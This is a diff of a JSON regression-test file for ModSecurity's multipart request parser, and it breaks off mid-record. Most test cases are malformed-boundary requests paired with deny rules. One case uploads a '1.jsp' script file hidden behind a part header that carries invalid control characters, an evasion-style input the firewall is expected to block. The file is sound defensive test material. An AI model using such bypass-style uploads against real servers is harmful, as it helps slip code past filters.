[ + "-------------------------------8842564605616207552020332273\r\n", + "Content-Disposition: form-data; name=\"_token\"\r\n", + "\r\n", + "9e433de44c9e9b4ce19603269aa34edb\r\n", + "-------------------------------8842564605616207552020332274\r\n", + "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "----ea520cef1a2937d8e928e357992c8fdd\r\n", + "Content-Transfer-Encoding: 7bit\r\n", + "Content-Type: text/plain; charset=US-ASCII;\r\n", + " format=flowed\r\n", + "\r\n", + "Test message, the txt file had been attached.\r\n", + "\r\n", + "--\r\n", + "Ervin\r\n", + "\r\n", + "\r\n", + "-------------------------------8842564605616207552020332273--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log": "", + "expected": { "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 0\" \"phase:2,deny,id:500095\"" + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 0\" \"phase:2,deny,id:500095\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"multipart parser (contains foreign bound., wrong final bound.)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=-----------------------------8842564605616207552020332273", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-------------------------------8842564605616207552020332273\r", - "Content-Disposition: form-data; name=\"_token\"\r", - "\r", - "9e433de44c9e9b4ce19603269aa34edb\r", - "-------------------------------8842564605616207552020332273\r", - "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r", - "Content-Type: text/plain\r", - "\r", - "----ea520cef1a2937d8e928e357992c8fdd\r", - "Content-Transfer-Encoding: 7bit\r", - "Content-Type: text/plain; charset=US-ASCII;\r", - " format=flowed\r", - "\r", - "Test message, the txt file had been attached.\r", - "\r", - "--\r", - "Ervin\r", - "\r", - "\r", - "-------------------------------8842564605616207552020332274--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (contains foreign bound., wrong final bound.)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "569", + "Content-Type": "multipart/form-data; boundary=-----------------------------8842564605616207552020332273", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-------------------------------8842564605616207552020332273\r\n", + "Content-Disposition: form-data; name=\"_token\"\r\n", + "\r\n", + "9e433de44c9e9b4ce19603269aa34edb\r\n", + "-------------------------------8842564605616207552020332273\r\n", + "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "----ea520cef1a2937d8e928e357992c8fdd\r\n", + "Content-Transfer-Encoding: 7bit\r\n", + "Content-Type: text/plain; charset=US-ASCII;\r\n", + " format=flowed\r\n", + "\r\n", + "Test message, the txt file had been attached.\r\n", + "\r\n", + "--\r\n", + "Ervin\r\n", + "\r\n", + "\r\n", + "-------------------------------8842564605616207552020332274--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log": "", + "expected": { "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 0\" \"phase:2,deny,id:500095\"" + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 0\" \"phase:2,deny,id:500095\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"multipart parser (contains foreign bound., one part, wrong lead)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=-----------------------------8842564605616207552020332273", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-------------------------------8842564605616207552020332274\r", - "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r", - "Content-Type: text/plain\r", - "\r", - "----ea520cef1a2937d8e928e357992c8fdd\r", - "Content-Transfer-Encoding: 7bit\r", - "Content-Type: text/plain; charset=US-ASCII;\r", - " format=flowed\r", - "\r", - "Test message, the txt file had been attached.\r", - "\r", - "--\r", - "Ervin\r", - "\r", - "\r", - "-------------------------------8842564605616207552020332273--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (contains foreign bound., one part, wrong lead)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "425", + "Content-Type": "multipart/form-data; boundary=-----------------------------8842564605616207552020332273", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-------------------------------8842564605616207552020332274\r\n", + "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "----ea520cef1a2937d8e928e357992c8fdd\r\n", + "Content-Transfer-Encoding: 7bit\r\n", + "Content-Type: text/plain; charset=US-ASCII;\r\n", + " format=flowed\r\n", + "\r\n", + "Test message, the txt file had been attached.\r\n", + "\r\n", + "--\r\n", + "Ervin\r\n", + "\r\n", + "\r\n", + "-------------------------------8842564605616207552020332273--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log": "", + "expected": { "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 0\" \"phase:2,deny,id:500095\"" + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 0\" \"phase:2,deny,id:500095\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"multipart parser (contains foreign bound., one part, wrong final)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=-----------------------------8842564605616207552020332273", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-------------------------------8842564605616207552020332273\r", - "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r", - "Content-Type: text/plain\r", - "\r", - "----ea520cef1a2937d8e928e357992c8fdd\r", - "Content-Transfer-Encoding: 7bit\r", - "Content-Type: text/plain; charset=US-ASCII;\r", - " format=flowed\r", - "\r", - "Test message, the txt file had been attached.\r", - "\r", - "--\r", - "Ervin\r", - "\r", - "\r", - "-------------------------------8842564605616207552020332274--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (contains foreign bound., one part, wrong final)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "425", + "Content-Type": "multipart/form-data; boundary=-----------------------------8842564605616207552020332273", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-------------------------------8842564605616207552020332273\r\n", + "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "----ea520cef1a2937d8e928e357992c8fdd\r\n", + "Content-Transfer-Encoding: 7bit\r\n", + "Content-Type: text/plain; charset=US-ASCII;\r\n", + " format=flowed\r\n", + "\r\n", + "Test message, the txt file had been attached.\r\n", + "\r\n", + "--\r\n", + "Ervin\r\n", + "\r\n", + "\r\n", + "-------------------------------8842564605616207552020332274--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log": "", + "expected": { "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 0\" \"phase:2,deny,id:500095\"" + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 0\" \"phase:2,deny,id:500095\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"multipart parser (contains foreign bound., all valid, strict mode)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=---------------------------3163850615828140691827348175", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-----------------------------3163850615828140691827348175\r", - "Content-Disposition: form-data; name=\"_token\"\r", - "\r", - "3eeb646795ba8db63b05ba77df2a0b2c\r", - "-----------------------------3163850615828140691827348175\r", - "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"multipart_text.txt\"\r", - "Content-Type: text/plain\r", - "\r", - "Content-Type: multipart/alternative; boundary=\"00000000000041382f056d9314e6\"\r", - "\r", - "--00000000000041382f056d9314e6\r", - "Content-Type: text/plain; charset=\"UTF-8\"\r", - "Content-Transfer-Encoding: quoted-printable\r", - "\r", - "Hi,\r", - "\r", - "...\r", - "\r", - "--00000000000041382f056d9314e6\r", - "Content-Type: text/html; charset=\"UTF-8\"\r", - "Content-Transfer-Encoding: quoted-printable\r", - "\r", - "
\r", - "...\r", - "
\r", - "\r", - "--00000000000041382f056d9314e6--\r", - "\r", - "\r", - "-----------------------------3163850615828140691827348175--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (contains foreign bound., all valid, strict mode)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "777", + "Content-Type": "multipart/form-data; boundary=---------------------------3163850615828140691827348175", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-----------------------------3163850615828140691827348175\r\n", + "Content-Disposition: form-data; name=\"_token\"\r\n", + "\r\n", + "3eeb646795ba8db63b05ba77df2a0b2c\r\n", + "-----------------------------3163850615828140691827348175\r\n", + "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"multipart_text.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "Content-Type: multipart/alternative; boundary=\"00000000000041382f056d9314e6\"\r\n", + "\r\n", + "--00000000000041382f056d9314e6\r\n", + "Content-Type: text/plain; charset=\"UTF-8\"\r\n", + "Content-Transfer-Encoding: quoted-printable\r\n", + "\r\n", + "Hi,\r\n", + "\r\n", + "...\r\n", + "\r\n", + "--00000000000041382f056d9314e6\r\n", + "Content-Type: text/html; charset=\"UTF-8\"\r\n", + "Content-Transfer-Encoding: quoted-printable\r\n", + "\r\n", + "
\r\n", + "...\r\n", + "
\r\n", + "\r\n", + "--00000000000041382f056d9314e6--\r\n", + "\r\n", + "\r\n", + "-----------------------------3163850615828140691827348175--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log": "", + "expected": { "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 0\" \"phase:2,deny,id:500095\"" + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 0\" \"phase:2,deny,id:500095\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"multipart parser (contains foreign bound., permissive mode)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=-----------------------------8842564605616207552020332273", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-------------------------------8842564605616207552020332273\r", - "Content-Disposition: form-data; name=\"_token\"\r", - "\r", - "9e433de44c9e9b4ce19603269aa34edb\r", - "-------------------------------8842564605616207552020332273\r", - "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r", - "Content-Type: text/plain\r", - "\r", - "----ea520cef1a2937d8e928e357992c8fdd\r", - "Content-Transfer-Encoding: 7bit\r", - "Content-Type: text/plain; charset=US-ASCII;\r", - " format=flowed\r", - "\r", - "Test message, the txt file had been attached.\r", - "\r", - "--\r", - "Ervin\r", - "\r", - "\r", - "-------------------------------8842564605616207552020332273--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (contains foreign bound., permissive mode)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "549", + "Content-Type": "multipart/form-data; boundary=-----------------------------8842564605616207552020332273", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-------------------------------8842564605616207552020332273\r", + "Content-Disposition: form-data; name=\"_token\"\r", + "\r", + "9e433de44c9e9b4ce19603269aa34edb\r", + "-------------------------------8842564605616207552020332273\r", + "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r", + "Content-Type: text/plain\r", + "\r", + "----ea520cef1a2937d8e928e357992c8fdd\r", + "Content-Transfer-Encoding: 7bit\r", + "Content-Type: text/plain; charset=US-ASCII;\r", + " format=flowed\r", + "\r", + "Test message, the txt file had been attached.\r", + "\r", + "--\r", + "Ervin\r", + "\r", + "\r", + "-------------------------------8842564605616207552020332273--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log": "", + "expected": { "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500095\"" + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500095\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"multipart parser (contains foreign bound., wrong lead bound., permissive mode)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=-----------------------------8842564605616207552020332273", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-------------------------------8842564605616207552020332274\r", - "Content-Disposition: form-data; name=\"_token\"\r", - "\r", - "9e433de44c9e9b4ce19603269aa34edb\r", - "-------------------------------8842564605616207552020332273\r", - "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r", - "Content-Type: text/plain\r", - "\r", - "----ea520cef1a2937d8e928e357992c8fdd\r", - "Content-Transfer-Encoding: 7bit\r", - "Content-Type: text/plain; charset=US-ASCII;\r", - " format=flowed\r", - "\r", - "Test message, the txt file had been attached.\r", - "\r", - "--\r", - "Ervin\r", - "\r", - "\r", - "-------------------------------8842564605616207552020332273--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (contains foreign bound., wrong lead bound., permissive mode)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "549", + "Content-Type": "multipart/form-data; boundary=-----------------------------8842564605616207552020332273", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-------------------------------8842564605616207552020332274\r", + "Content-Disposition: form-data; name=\"_token\"\r", + "\r", + "9e433de44c9e9b4ce19603269aa34edb\r", + "-------------------------------8842564605616207552020332273\r", + "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r", + "Content-Type: text/plain\r", + "\r", + "----ea520cef1a2937d8e928e357992c8fdd\r", + "Content-Transfer-Encoding: 7bit\r", + "Content-Type: text/plain; charset=US-ASCII;\r", + " format=flowed\r", + "\r", + "Test message, the txt file had been attached.\r", + "\r", + "--\r", + "Ervin\r", + "\r", + "\r", + "-------------------------------8842564605616207552020332273--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log": "", + "expected": { "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500095\"" + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500095\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"multipart parser (contains foreign bound., wrong sep. bound., permissive mode)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=-----------------------------8842564605616207552020332273", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-------------------------------8842564605616207552020332273\r", - "Content-Disposition: form-data; name=\"_token\"\r", - "\r", - "9e433de44c9e9b4ce19603269aa34edb\r", - "-------------------------------8842564605616207552020332274\r", - "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r", - "Content-Type: text/plain\r", - "\r", - "----ea520cef1a2937d8e928e357992c8fdd\r", - "Content-Transfer-Encoding: 7bit\r", - "Content-Type: text/plain; charset=US-ASCII;\r", - " format=flowed\r", - "\r", - "Test message, the txt file had been attached.\r", - "\r", - "--\r", - "Ervin\r", - "\r", - "\r", - "-------------------------------8842564605616207552020332273--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (contains foreign bound., wrong sep. bound., permissive mode)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "549", + "Content-Type": "multipart/form-data; boundary=-----------------------------8842564605616207552020332273", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-------------------------------8842564605616207552020332273\r", + "Content-Disposition: form-data; name=\"_token\"\r", + "\r", + "9e433de44c9e9b4ce19603269aa34edb\r", + "-------------------------------8842564605616207552020332274\r", + "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"msg.txt\"\r", + "Content-Type: text/plain\r", + "\r", + "----ea520cef1a2937d8e928e357992c8fdd\r", + "Content-Transfer-Encoding: 7bit\r", + "Content-Type: text/plain; charset=US-ASCII;\r", + " format=flowed\r", + "\r", + "Test message, the txt file had been attached.\r", + "\r", + "--\r", + "Ervin\r", + "\r", + "\r", + "-------------------------------8842564605616207552020332273--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log": "", + "expected": { "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500095\"" + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500095\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"multipart parser (contains foreign bound., all valid, permissive mode)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=---------------------------3163850615828140691827348175", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-----------------------------3163850615828140691827348175\r", - "Content-Disposition: form-data; name=\"_token\"\r", - "\r", - "3eeb646795ba8db63b05ba77df2a0b2c\r", - "-----------------------------3163850615828140691827348175\r", - "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"multipart_text.txt\"\r", - "Content-Type: text/plain\r", - "\r", - "Content-Type: multipart/alternative; boundary=\"00000000000041382f056d9314e6\"\r", - "\r", - "--00000000000041382f056d9314e6\r", - "Content-Type: text/plain; charset=\"UTF-8\"\r", - "Content-Transfer-Encoding: quoted-printable\r", - "\r", - "Hi,\r", - "\r", - "...\r", - "\r", - "--00000000000041382f056d9314e6\r", - "Content-Type: text/html; charset=\"UTF-8\"\r", - "Content-Transfer-Encoding: quoted-printable\r", - "\r", - "
\r", - "...\r", - "
\r", - "\r", - "--00000000000041382f056d9314e6--\r", - "\r", - "\r", - "-----------------------------3163850615828140691827348175--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (contains foreign bound., all valid, permissive mode)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "747", + "Content-Type": "multipart/form-data; boundary=---------------------------3163850615828140691827348175", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-----------------------------3163850615828140691827348175\r", + "Content-Disposition: form-data; name=\"_token\"\r", + "\r", + "3eeb646795ba8db63b05ba77df2a0b2c\r", + "-----------------------------3163850615828140691827348175\r", + "Content-Disposition: form-data; name=\"_attachments[]\"; filename=\"multipart_text.txt\"\r", + "Content-Type: text/plain\r", + "\r", + "Content-Type: multipart/alternative; boundary=\"00000000000041382f056d9314e6\"\r", + "\r", + "--00000000000041382f056d9314e6\r", + "Content-Type: text/plain; charset=\"UTF-8\"\r", + "Content-Transfer-Encoding: quoted-printable\r", + "\r", + "Hi,\r", + "\r", + "...\r", + "\r", + "--00000000000041382f056d9314e6\r", + "Content-Type: text/html; charset=\"UTF-8\"\r", + "Content-Transfer-Encoding: quoted-printable\r", + "\r", + "
\r", + "...\r", + "
\r", + "\r", + "--00000000000041382f056d9314e6--\r", + "\r", + "\r", + "-----------------------------3163850615828140691827348175--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log": "", + "expected": { "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500095\"" + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500095\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (C-T parm after boundary -- invalid but tolerated)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "144", + "Content-Type": "multipart/form-data; boundary=00000000; charset=UTF-8", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--00000000\r\n", + "Content-Disposition: form-data; name=\"namea\"\r\n", + "\r\n", + "111\r\n", + "--00000000\r\n", + "Content-Disposition: form-data; name=\"nameb\"\r\n", + "\r\n", + "222\r\n", + "--00000000--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Multipart: Invalid parameter after boundary in C-T \\(tolerated\\).*Added data", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule ARGS:namea \"@streq 111\" \"phase:2,deny,id:500096\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (invalid part header - contains invalid character)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "145", + "Content-Type": "multipart/form-data; boundary=a", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--a\r\n", + "\u000EContent-Disposition\u000E: form-data; name=\"file\"; filename=\"1.jsp\"\r\n", + "Content-Disposition: form-data; name=\"post\";\r\n", + "\r\n", + "<%out.print(123)%>\r\n", + "--a--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Multipart: Invalid part header \\(contains invalid character\\)", + "http_code": 403 + }, + "rules": [ + "SecruleEngine On", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,status:403,id:500077\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"multipart parser (C-T parm after boundary -- invalid but tolerated)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"145", - "Content-Type":"multipart/form-data; boundary=00000000; charset=UTF-8", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--00000000\r", - "Content-Disposition: form-data; name=\"namea\"\r", - "\r", - "111\r", - "--00000000\r", - "Content-Disposition: form-data; name=\"nameb\"\r", - "\r", - "222\r", - "--00000000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - 